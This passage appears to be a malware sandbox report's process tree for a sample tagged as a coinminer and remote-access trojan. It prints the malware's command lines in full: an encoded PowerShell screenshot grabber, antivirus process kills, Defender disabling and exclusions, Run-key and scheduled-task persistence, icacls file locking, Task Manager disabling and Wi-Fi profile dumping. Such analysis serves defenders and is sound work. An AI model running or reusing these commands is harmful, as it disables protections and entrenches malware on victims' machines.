        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        6⤵
        
        PID:252
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pjntsw1m\pjntsw1m.cmdline"
        7⤵
        
        PID:2512
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES29EB.tmp" "c:\Users\Admin\AppData\Local\Temp\pjntsw1m\CSC5FBA7C4CB68A4CDA83AC1C549EDEFD10.TMP"
        8⤵
        
        PID:4576
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM AVGSvc.exe
        6⤵
        
        PID:3724
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe
        6⤵
        Views/modifies file attributes
        
        PID:4372
      - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeHostSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe /f
        6⤵
        Modifies registry key
        
        PID:944
      - C:\Windows\system32\icacls.exe
        
        icacls C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe /deny *S-1-1-0:(DE)(DC)(WD) /T /C
        6⤵
        Modifies file permissions
        
        PID:3408
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM bdagent.exe
        6⤵
        
        PID:1684
      - C:\Windows\system32\icacls.exe
        
        icacls C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe /deny *S-1-5-18:(DE)(DC)(WD) /T /C
        6⤵
        Modifies file permissions
        
        PID:3284
      - C:\Windows\system32\reg.exe
        
        reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeHostSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe /f
        6⤵
        Modifies registry key
        
        PID:3524
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM vsserv.exe
        6⤵
        Kills process with taskkill
        
        PID:4308
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5496
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe
        6⤵
        Views/modifies file attributes
        
        PID:5352
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM ekrn.exe
        6⤵
        Kills process with taskkill
        
        PID:1200
      - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeHostSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe /f
        6⤵
        Modifies registry key
        
        PID:3596
    - - C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
        5⤵
        
        PID:768
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
        6⤵
        Views/modifies file attributes
        
        PID:2280
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\WMI\WmiPrvSE.exe
        6⤵
        Views/modifies file attributes
        
        PID:5432
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Control Panel\Accessibility\StickyKeys" /v Flags /t REG_SZ /d 506 /f
        6⤵
        
        PID:5880
      - C:\Windows\system32\attrib.exe
        
        attrib -r C:\Windows\System32\drivers\etc\hosts
        6⤵
        Views/modifies file attributes
        
        PID:1712
      - C:\Windows\System32\Wbem\wmic.exe
        
        wmic os get Caption
        6⤵
        
        PID:948
      - C:\Users\Admin\AppData\Roaming\Microsoft\WMI\WmiPrvSE.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\WMI\WmiPrvSE.exe --wdog 768 C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
        6⤵
        
        PID:4212
      - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MicrosoftWMIHost /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\WMI\WmiPrvSE.exe --wdog 0 C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe" /f
        6⤵
        Modifies registry key
        
        PID:4220
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe'"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1132
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Control Panel\Accessibility\Keyboard Response" /v Flags /t REG_SZ /d 122 /f
        6⤵
        
        PID:4604
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM MsMpEng.exe
        6⤵
        
        PID:4524
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\RuntimeBroker.exe
        6⤵
        Views/modifies file attributes
        
        PID:3408
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Control Panel\Accessibility\ToggleKeys" /v Flags /t REG_SZ /d 58 /f
        6⤵
        
        PID:440
      - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Protect\RuntimeBroker.exe /f
        6⤵
        Modifies registry key
        
        PID:5236
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
        6⤵
        Views/modifies file attributes
        
        PID:2400
      - C:\Windows\System32\Wbem\wmic.exe
        
        wmic cpu get Name
        6⤵
        
        PID:4864
      - C:\Windows\system32\attrib.exe
        
        attrib +r C:\Windows\System32\drivers\etc\hosts
        6⤵
        Views/modifies file attributes
        
        PID:3232
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM MpCmdRun.exe
        6⤵
        Kills process with taskkill
        
        PID:2980
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NonInteractive -WindowStyle Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableScriptScanning $true -DisableIntrusionPreventionSystem $true -EnableControlledFolderAccess Disabled -MAPSReporting Disabled -SubmitSamplesConsent NeverSend -Force"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6044
      - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        Modifies registry key
        
        PID:4140
      - C:\Windows\system32\reg.exe
        
        reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Protect\RuntimeBroker.exe /f
        6⤵
        Modifies registry key
        
        PID:4708
      - C:\Windows\System32\Wbem\wmic.exe
        
        wmic path win32_VideoController get name
        6⤵
        Detects videocard installed
        
        PID:4852
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\MicrosoftEdgeUpdate.exe
        6⤵
        Views/modifies file attributes
        
        PID:1628
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM NisSrv.exe
        6⤵
        Kills process with taskkill
        
        PID:3188
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.exe"
        6⤵
        Views/modifies file attributes
        
        PID:2692
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc ONLOGON /rl HIGHEST /tn MicrosoftEdgeUpdateTaskMachineCore /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe\"
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2096
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM SecurityHealthService.exe
        6⤵
        Kills process with taskkill
        
        PID:3444
      - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.exe" /f
        6⤵
        Modifies registry key
        
        PID:1408
      - C:\Windows\System32\Wbem\wmic.exe
        
        wmic csproduct get UUID
        6⤵
        
        PID:2728
      - C:\Windows\system32\reg.exe
        
        reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.exe" /f
        6⤵
        
        PID:3456
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM avastui.exe
        6⤵
        
        PID:2892
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe
        6⤵
        System Time Discovery
        Views/modifies file attributes
        
        PID:4896
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftEdgeUpdate.exe"
        6⤵
        
        PID:3328
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM AvastSvc.exe
        6⤵
        
        PID:6032
      - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5236
      - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe /f
        6⤵
        System Time Discovery
        Modifies registry key
        
        PID:2116
      - C:\Windows\system32\icacls.exe
        
        icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe /deny *S-1-1-0:(DE)(DC)(WD) /T /C
        6⤵
        Modifies file permissions
        
        PID:1068
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM avscan.exe
        6⤵
        Kills process with taskkill
        
        PID:5928
      - C:\Windows\system32\icacls.exe
        
        icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe /deny *S-1-5-18:(DE)(DC)(WD) /T /C
        6⤵
        Modifies file permissions
        
        PID:1880
      - C:\Windows\system32\reg.exe
        
        reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe /f
        6⤵
        System Time Discovery
        Modifies registry key
        
        PID:5428
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3620
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM avgui.exe
        6⤵
        Kills process with taskkill
        
        PID:3184
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        6⤵
        
        PID:2228
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qrurylot\qrurylot.cmdline"
        7⤵
        
        PID:2660
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES56D7.tmp" "c:\Users\Admin\AppData\Local\Temp\qrurylot\CSC47D7CDB1D51B4811B6A0135D8CC97490.TMP"
        8⤵
        
        PID:2384
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe
        6⤵
        Views/modifies file attributes
        
        PID:4184
      - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeHostSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe /f
        6⤵
        Modifies registry key
        
        PID:804
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM AVGSvc.exe
        6⤵
        
        PID:6008
      - C:\Windows\system32\reg.exe
        
        reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeHostSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe /f
        6⤵
        Modifies registry key
        
        PID:5108
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM bdagent.exe
        6⤵
        Kills process with taskkill
        
        PID:2188
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe
        6⤵
        Views/modifies file attributes
        
        PID:5576
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\RuntimeBroker.exe
      4⤵
      Views/modifies file attributes
      PID:5352
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Accessibility\ToggleKeys" /v Flags /t REG_SZ /d 58 /f
      4⤵
      PID:4968
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM NisSrv.exe
      4⤵
      Kills process with taskkill
      PID:1200
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5700
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Protect\RuntimeBroker.exe /f
      4⤵
      Modifies registry key
      PID:4652
  - - C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Views/modifies file attributes
      PID:932
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      4⤵
      Views/modifies file attributes
      PID:5124
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MicrosoftWMIHost /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\WMI\WmiPrvSE.exe --wdog 0 C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe" /f
      4⤵
      PID:2856
  - - C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      4⤵
      PID:1232
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:916
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Protect\RuntimeBroker.exe /f
      4⤵
      Modifies registry key
      PID:2428
  - - C:\Windows\system32\taskkill.exe
